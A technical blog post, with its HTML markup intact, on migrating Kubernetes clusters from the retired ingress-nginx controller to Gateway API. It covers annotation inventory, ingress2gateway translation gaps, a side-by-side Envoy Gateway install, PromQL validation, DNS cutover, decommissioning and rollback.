<p>This post walks the migration that does not require a flag day. It covers what the EOL actually means, which Gateway API implementation is the right next step for your situation, what <code>ingress2gateway</code> 1.0 translates for you and what it silently drops, and a side-by-side cutover that lets you keep both controllers running until you are confident.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>EOL date</strong>: March 2026 (the official posts give the month, not a specific day). After EOL there are no further releases, no bugfixes, and no security patches. Existing deployments keep running, the images keep pulling, but new CVEs sit unpatched.</li>
<li><strong>InGate is also retired.</strong> The successor project the maintainers had been building never reached production quality and was retired alongside ingress-nginx. The path forward is <a href="https://gateway-api.sigs.k8s.io/">Gateway API</a>, not InGate.</li>
<li><strong><code>ingress2gateway</code> 1.0</strong> shipped on 2026-03-20. It translates the well-defined annotations cleanly. It silently drops the dangerous ones: <code>configuration-snippet</code>, <code>server-snippet</code>, <code>auth-snippet</code>, <code>auth-url</code>, session affinity, <code>load-balance</code>. Those need to be rewritten as vendor-specific Gateway API extensions, which differ per controller.</li>
<li><strong>Controller choice</strong>: Envoy Gateway, kgateway, Cilium Gateway, Istio Gateway are all conformant with Gateway API v1.4 and all behave close enough to ingress-nginx for a routine workload. The right pick depends on what you already run.</li>
<li><strong>The cutover</strong> is shadow Gateway, watch metrics, flip DNS, decommission. Both controllers can run side by side under different <code>ingressClassName</code> / <code>gatewayClassName</code> for as long as you need.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A cluster currently running ingress-nginx with one or more Ingress resources.</li>
<li><code>kubectl</code>, <code>jq</code>, and the <code>ingress2gateway</code> CLI (<a href="https://github.com/kubernetes-sigs/ingress2gateway#install">install instructions</a>).</li>
<li>Permission to install a second ingress controller in the cluster (it does not have to be in the same namespace as ingress-nginx).</li>
<li>A DNS provider that supports either weighted records or per-record updates (Route53, Cloudflare, GCP Cloud DNS, similar).</li>
</ul>
<h2 id="h2-step-1-take-inventory" class="group relative scroll-mt-24">
        <a href="#h2-step-1-take-inventory" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Take inventory
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-1-take-inventory"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The migration plan you actually need is shaped by the annotations you actually use. Start there.</p>
<pre><code class="hljs language-bash">kubectl get ingress -A -o jsonpath=<span class="hljs-string">&#x27;{range .items[*]}{.metadata.namespace}/{.metadata.name}: {.spec.rules[*].host}{&quot;\n&quot;}{end}&#x27;</span>
</code></pre><p>That gives you a list of every Ingress with its hosts. Useful for scoping the migration into batches by team or by hostname. Then dig into the annotations:</p>
<pre><code class="hljs language-bash">kubectl get ingress -A -o json \
  | jq -r <span class="hljs-string">&#x27;.items[]
      | .metadata as $m
      | (.metadata.annotations // {})
      | to_entries[]
      | &quot;\($m.namespace)/\($m.name)\t\(.key)\t\(.value)&quot;&#x27;</span> \
  | grep <span class="hljs-string">&#x27;^[^\t]*\tnginx.ingress.kubernetes.io/&#x27;</span> \
  | <span class="hljs-built_in">sort</span> -k2
</code></pre><p>This produces a tab-separated table of every nginx annotation in use, grouped by annotation name. The output tells you exactly which features your migration needs to preserve. Save it. You will check it again at the end to confirm nothing got lost.</p>
<p>Pay particular attention to these annotations, which are the ones <code>ingress2gateway</code> does not handle:</p>
<pre><code class="hljs language-text">nginx.ingress.kubernetes.io/configuration-snippet
nginx.ingress.kubernetes.io/server-snippet
nginx.ingress.kubernetes.io/auth-snippet
nginx.ingress.kubernetes.io/auth-url
nginx.ingress.kubernetes.io/auth-signin
nginx.ingress.kubernetes.io/auth-tls-secret
nginx.ingress.kubernetes.io/session-cookie-name
nginx.ingress.kubernetes.io/load-balance
nginx.ingress.kubernetes.io/upstream-hash-by
nginx.ingress.kubernetes.io/mirror-target
</code></pre><p>If your output contains any of these, the migration has manual work in it. We will get to what to do with each of them later.</p>
<h2 id="h2-step-2-pick-a-gateway-api-controller" class="group relative scroll-mt-24">
        <a href="#h2-step-2-pick-a-gateway-api-controller" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: Pick a Gateway API controller
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-2-pick-a-gateway-api-controller"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>There are four serious candidates today, all conformant with <a href="https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/">Gateway API v1.4</a>. The decision is less about features and more about what you already run.</p>
<pre><code class="hljs language-text">+---------------------+---------------------------------+-----------------------------+
| Controller          | Best fit when you already       | Watch out for               |
+---------------------+---------------------------------+-----------------------------+
| Envoy Gateway       | You want a clean, focused,      | Newer project, smaller      |
|                     | CNCF-governed Envoy frontend    | community than Istio        |
|                     | with no service mesh baggage    |                             |
| kgateway            | You run Solo.io&#x27;s Gloo stack,   | License history; verify     |
|                     | want AI/MCP routing primitives  | the kgateway open-source    |
|                     | out of the box                  | story matches your needs    |
| Cilium Gateway      | You already use Cilium for CNI; | Couples L7 routing to your  |
|                     | unified control plane is the    | CNI choice                  |
|                     | win                             |                             |
| Istio Gateway       | You already run Istio for mesh; | Inheriting Istio&#x27;s full     |
|                     | reuse the existing control      | control plane is a big lift |
|                     | plane                           | if you do not already       |
+---------------------+---------------------------------+-----------------------------+
</code></pre><p>If none of the &quot;best fit&quot; rows describe you, Envoy Gateway is the conservative default. It is Envoy-based, CNCF-governed, and ships with the lowest surprise count for an operator coming from ingress-nginx.</p>
<p>A note on InGate: it was the project the ingress-nginx maintainers had been positioning as the successor. The November 2025 retirement post explicitly stated InGate &quot;never progressed far enough to create a mature replacement; it will also be retired.&quot; Do not migrate to InGate. The path forward is Gateway API with one of the controllers above.</p>
<h2 id="h2-step-3-translate-ingress-resources-with-ingress2gateway" class="group relative scroll-mt-24">
        <a href="#h2-step-3-translate-ingress-resources-with-ingress2gateway" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: Translate Ingress resources with ingress2gateway
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-3-translate-ingress-resources-with-ingress2gateway"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><code>ingress2gateway</code> 1.0 shipped on 2026-03-20 with an Emitters framework that produces output tailored to a specific Gateway API controller. The basic invocation against your live cluster:</p>
<pre><code class="hljs language-bash">ingress2gateway <span class="hljs-built_in">print</span> \
  --providers=ingress-nginx \
  -A \
  --emitter envoy-gateway \
  &gt; gateway.yaml
</code></pre><p>Swap <code>--emitter envoy-gateway</code> for <code>kgateway</code> or <code>standard</code> depending on your target. The <code>standard</code> emitter produces vanilla Gateway API resources with no vendor-specific extensions, which is the right choice if you want to keep the option to switch controllers later.</p>
<p>Output is one or more <code>Gateway</code>, <code>HTTPRoute</code>, and <code>BackendTLSPolicy</code> resources, plus any vendor extensions the emitter knows about. Read the YAML carefully. The tool also emits warnings to stderr for annotations it recognises but cannot translate, and silently drops annotations it does not recognise.</p>
<p>Here is what 1.0 translates cleanly out of the box for the ingress-nginx provider (from <a href="https://github.com/kubernetes-sigs/ingress2gateway/blob/main/pkg/i2gw/providers/ingressnginx/README.md">the provider README</a>):</p>
<pre><code class="hljs language-text">canary, canary-by-header, canary-by-header-value, canary-weight, canary-weight-total
rewrite-target (URLRewrite filter, ReplaceFullPath)
app-root, permanent-redirect, temporal-redirect, ssl-redirect
upstream-vhost, connection-proxy-header, x-forwarded-prefix
proxy-connect-timeout, proxy-send-timeout, proxy-read-timeout
proxy-body-size, client-body-buffer-size
backend-protocol (HTTP/HTTPS/GRPC/GRPCS, producing HTTPRoute or GRPCRoute + BackendTLSPolicy)
use-regex
enable-cors and the full CORS annotation set
whitelist-source-range, denylist-source-range
proxy-ssl-verify, proxy-ssl-secret, proxy-ssl-name, proxy-ssl-server-name
TLS via spec.tls[] (Listener with Terminate mode)
</code></pre><p>Here is what it warns on but does not translate (no Gateway API equivalent yet):</p>
<pre><code class="hljs language-text">canary-by-header-pattern   (regex header match is not in core Gateway API)
canary-by-cookie           (cookie-based canary not in core)
proxy-redirect-from/-to
custom-headers
proxy-ssl-verify-depth, proxy-ssl-protocols
</code></pre><p>And here is what it does not even acknowledge (no translation, no warning):</p>
<pre><code class="hljs language-text">configuration-snippet, server-snippet, auth-snippet
auth-url, auth-signin, auth-tls-secret, auth-response-headers
session-cookie-name and related sticky-session annotations
load-balance (round-robin/ewma/etc.)
upstream-hash-by
mirror-target
</code></pre><p>That third group is where the actual migration work hides. The first two groups translate or warn; you can review the output and move on. The third group needs case-by-case decisions.</p>
<h2 id="h2-step-4-handle-the-annotations-ingress2gateway-drops" class="group relative scroll-mt-24">
        <a href="#h2-step-4-handle-the-annotations-ingress2gateway-drops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Handle the annotations ingress2gateway drops
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-4-handle-the-annotations-ingress2gateway-drops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Gateway API team did not standardise the snippet annotations on purpose. They were the architectural reason ingress-nginx became unmaintainable. The migration is the moment to write down what each snippet actually does and find a structured replacement.</p>
<p><strong><code>configuration-snippet</code>, <code>server-snippet</code>, <code>auth-snippet</code></strong>. Each of these injects raw NGINX configuration into the generated config. There is no Gateway API equivalent because the design goal of Gateway API is &quot;no untyped configuration&quot;. Identify what each snippet does (custom rate limiting, custom logging, request manipulation, ad-hoc auth) and pick a structured replacement. For Envoy Gateway, that means <code>SecurityPolicy</code>, <code>ClientTrafficPolicy</code>, <code>BackendTrafficPolicy</code>, and <code>EnvoyExtensionPolicy</code>. For kgateway it is <code>TrafficPolicy</code>. For Istio Gateway it is <code>EnvoyFilter</code> (which is itself escape-hatch shaped, but at least typed) plus <code>AuthorizationPolicy</code>.</p>
<p>If a snippet does something that has no clean replacement, this is the moment to ask whether the feature was really earning its keep.</p>
<p><strong><code>auth-url</code>, <code>auth-signin</code>, <code>auth-tls-secret</code>, <code>auth-response-headers</code></strong>. External auth (the classic &quot;redirect to your OIDC proxy&quot; pattern). Envoy Gateway has <a href="https://gateway.envoyproxy.io/docs/tasks/security/ext-auth/"><code>SecurityPolicy.extAuth</code></a> which is the closest one-to-one mapping. kgateway has equivalent functionality in <code>TrafficPolicy</code>. Istio Gateway has <code>AuthorizationPolicy</code> with <code>CUSTOM</code> action. None of these are auto-translated; you have to write the new resource by hand. The good news is the replacement is typed and reviewable, unlike the original annotation.</p>
<p><strong><code>session-cookie-name</code> and sticky sessions</strong>. Gateway API core does not have a sticky-session knob. Every controller has its own vendor extension: Envoy Gateway&#39;s <a href="https://gateway.envoyproxy.io/contributions/design/session-persistence/"><code>BackendTrafficPolicy.sessionPersistence</code></a>, kgateway&#39;s session affinity in <code>TrafficPolicy</code>, Istio&#39;s <code>DestinationRule</code> with <code>consistentHash</code>.</p>
<p><strong><code>load-balance</code> and <code>upstream-hash-by</code></strong>. Same story. Core Gateway API picks a controller-defined algorithm by default (Envoy: weighted round-robin). To force a specific algorithm or consistent hash on a header, use the controller&#39;s <code>BackendTrafficPolicy</code> or equivalent.</p>
<p><strong><code>mirror-target</code></strong>. Gateway API has a <a href="https://gateway-api.sigs.k8s.io/reference/spec/#httprequestmirrorfilter"><code>RequestMirror</code></a> filter type that does exactly this, but <code>ingress2gateway</code> does not auto-translate to it. Write it manually as an <code>HTTPRoute.filter</code> of type <code>RequestMirror</code>.</p>
<p>The pattern across all of these: figure out which Gateway API extension type the target controller uses, then write the resource alongside the auto-translated <code>HTTPRoute</code>. None of this is fast, but all of it is mechanical once you have the inventory from step 1.</p>
<h2 id="h2-step-5-run-both-controllers-side-by-side" class="group relative scroll-mt-24">
        <a href="#h2-step-5-run-both-controllers-side-by-side" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 5: Run both controllers side by side
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-5-run-both-controllers-side-by-side"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Do not delete ingress-nginx. Install the new controller alongside it, with a separate <code>GatewayClass</code> and a separate Service <code>LoadBalancer</code>. Both controllers reconcile their own resources independently. There is no conflict as long as you keep the resource types separate (Ingress vs HTTPRoute) and the class names different.</p>
<p>A representative install of Envoy Gateway:</p>
<pre><code class="hljs language-bash">helm install eg oci://docker.io/envoyproxy/gateway-helm \
  --version v1.4.0 \
  -n envoy-gateway-system \
  --create-namespace

kubectl <span class="hljs-built_in">wait</span> --<span class="hljs-built_in">timeout</span>=5m -n envoy-gateway-system \
  deployment/envoy-gateway --<span class="hljs-keyword">for</span>=condition=Available
</code></pre><p>Then a <code>GatewayClass</code> and a <code>Gateway</code> that gets its own external IP:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">gateway.networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">GatewayClass</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">eg</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">controllerName:</span> <span class="hljs-string">gateway.envoyproxy.io/gatewayclass-controller</span>
<span class="hljs-meta">---</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">gateway.networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Gateway</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">production</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">envoy-gateway-system</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">gatewayClassName:</span> <span class="hljs-string">eg</span>
  <span class="hljs-attr">listeners:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">https</span>
      <span class="hljs-attr">protocol:</span> <span class="hljs-string">HTTPS</span>
      <span class="hljs-attr">port:</span> <span class="hljs-number">443</span>
      <span class="hljs-attr">tls:</span>
        <span class="hljs-attr">mode:</span> <span class="hljs-string">Terminate</span>
        <span class="hljs-attr">certificateRefs:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">production-tls</span>
      <span class="hljs-attr">allowedRoutes:</span>
        <span class="hljs-attr">namespaces:</span>
          <span class="hljs-attr">from:</span> <span class="hljs-string">All</span>
</code></pre><p>Apply the <code>gateway.yaml</code> from <code>ingress2gateway</code> and set the <code>HTTPRoute.parentRefs</code> to this Gateway:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">gateway.networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">HTTPRoute</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">api</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">production</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">parentRefs:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">production</span>
      <span class="hljs-attr">namespace:</span> <span class="hljs-string">envoy-gateway-system</span>
  <span class="hljs-attr">hostnames:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">api.example.com</span>
  <span class="hljs-attr">rules:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">matches:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span>
            <span class="hljs-attr">type:</span> <span class="hljs-string">PathPrefix</span>
            <span class="hljs-attr">value:</span> <span class="hljs-string">/</span>
      <span class="hljs-attr">backendRefs:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">api</span>
          <span class="hljs-attr">port:</span> <span class="hljs-number">8080</span>
</code></pre><p>DNS still points at the ingress-nginx Service IP at this stage. The new Gateway has its own IP but no production traffic. You can test it directly with <code>curl --resolve api.example.com:443:&lt;new-lb-ip&gt; https://api.example.com/</code>, which is the cleanest way to validate behaviour before any user-visible change.</p>
<h2 id="h2-step-6-validate-with-metrics-then-flip-dns" class="group relative scroll-mt-24">
        <a href="#h2-step-6-validate-with-metrics-then-flip-dns" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 6: Validate with metrics, then flip DNS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-6-validate-with-metrics-then-flip-dns"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Gateway is running and answering synthetic requests. Before any DNS change, run the same Prometheus queries against the new controller that you already run against ingress-nginx, then compare.</p>
<p>The ingress-nginx baseline you already have:</p>
<pre><code class="hljs language-promql"># Request rate per Ingress
sum(rate(nginx_ingress_controller_requests[5m])) by (ingress)

# 5xx rate per Ingress
sum(rate(nginx_ingress_controller_requests{status=~&quot;5..&quot;}[5m])) by (ingress)
/
sum(rate(nginx_ingress_controller_requests[5m])) by (ingress)

# p99 latency per Ingress
histogram_quantile(0.99,
  sum(rate(nginx_ingress_controller_request_duration_seconds_bucket[5m])) by (le, ingress))
</code></pre><p>The Envoy Gateway equivalents pull from the standard Envoy cluster metrics:</p>
<pre><code class="hljs language-promql"># Request rate per upstream cluster
sum(rate(envoy_cluster_upstream_rq_total[5m])) by (envoy_cluster_name)

# 5xx rate per upstream cluster
sum(rate(envoy_cluster_upstream_rq_xx{envoy_response_code_class=&quot;5&quot;}[5m]))
  by (envoy_cluster_name)
/
sum(rate(envoy_cluster_upstream_rq_total[5m])) by (envoy_cluster_name)

# p99 upstream RTT per cluster
histogram_quantile(0.99,
  sum(rate(envoy_cluster_upstream_rq_time_bucket[5m])) by (le, envoy_cluster_name))
</code></pre><p>For kgateway, Cilium Gateway, and Istio Gateway, the metric names differ; check the controller&#39;s metrics documentation. The shape of the queries (rate, by-label, histogram quantile) is the same.</p>
<p>The numbers from the synthetic traffic should match the ingress-nginx baseline within noise. If 5xx jumps on the new controller and not the old one, you have an HTTPRoute translation gap, almost always in the annotation handling. Fix it before flipping DNS.</p>
<p>When the numbers match, shift traffic. The simplest approach is weighted DNS records: 1%, then 5%, then 25%, 50%, 100%. Watch the same dashboards through each step. If you have a CDN or service mesh in front, you can shift by header instead, which is faster to roll back.</p>
<h2 id="h2-step-7-decommission" class="group relative scroll-mt-24">
        <a href="#h2-step-7-decommission" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 7: Decommission
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-7-decommission"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Once DNS has fully cut over and the TTL window has elapsed (plus any CDN cache lifetime), drain ingress-nginx:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Drop external connectivity first</span>
kubectl -n ingress-nginx patch svc ingress-nginx-controller \
  -p <span class="hljs-string">&#x27;{&quot;spec&quot;:{&quot;type&quot;:&quot;ClusterIP&quot;}}&#x27;</span>

<span class="hljs-comment"># Then scale the controller to zero</span>
kubectl -n ingress-nginx scale deploy ingress-nginx-controller --replicas=0
</code></pre><p>Leave the resources in place for a release cycle in case you need to roll back. The Service-type change costs nothing and removes the LoadBalancer charge while keeping the Ingress objects reachable internally. If everything looks healthy after a week, remove the Helm release.</p>
<h2 id="h2-rollback-path" class="group relative scroll-mt-24">
        <a href="#h2-rollback-path" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Rollback path
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-rollback-path"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The reason for the side-by-side install is that rollback at any stage is a DNS change, not a redeploy. If the new controller misbehaves at 25% traffic, push DNS back to 100% ingress-nginx and the world recovers in one TTL cycle. The HTTPRoutes stay in the cluster. You can iterate on them while production is back on the old path.</p>
<p>This is the operational reason &quot;flag day&quot; migrations of ingress controllers are a bad idea. The control plane is two systems, the data plane is two systems, the DNS weight is a knob. Use the knob.</p>
<h2 id="h2-real-world-references" class="group relative scroll-mt-24">
        <a href="#h2-real-world-references" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Real-world references
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-real-world-references"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Three migration write-ups worth reading alongside this one:</p>
<ul>
<li><a href="https://www.pulumi.com/blog/ingress-nginx-to-gateway-api-kgateway/">Pulumi engineering, &quot;How to Move to the Gateway API after ingress-nginx Retirement&quot;</a> (kgateway as the target, January 2026)</li>
<li><a href="https://www.datadoghq.com/blog/migrate-to-gateway-api/">Datadog engineering, &quot;Ingress NGINX is EOL: a practical guide for migrating to Kubernetes Gateway API&quot;</a> (the seven-step framework, April 2026)</li>
<li><a href="https://engineering.01cloud.com/2026/03/26/migrating-from-kubernetes-ingress-to-gateway-api-a-zero-downtime-production-success-story/">An engineering team&#39;s zero-downtime production write-up</a> (Envoy Gateway, separate LB IPs, WebSocket and gRPC gotchas, March 2026)</li>
</ul>
<p>None of them publish exact latency numbers, so be wary of any claim that a specific controller is &quot;30% faster&quot; out of the box. The honest answer is &quot;it depends on your routes and your traffic&quot;, and your own PromQL during canary is the data you actually want.</p>
<h2 id="h2-sources" class="group relative scroll-mt-24">
        <a href="#h2-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><a href="https://kubernetes.io/blog/2025/11/11/ingress-nginx-retirement/">kubernetes.io/blog/2025/11/11/ingress-nginx-retirement</a></li>
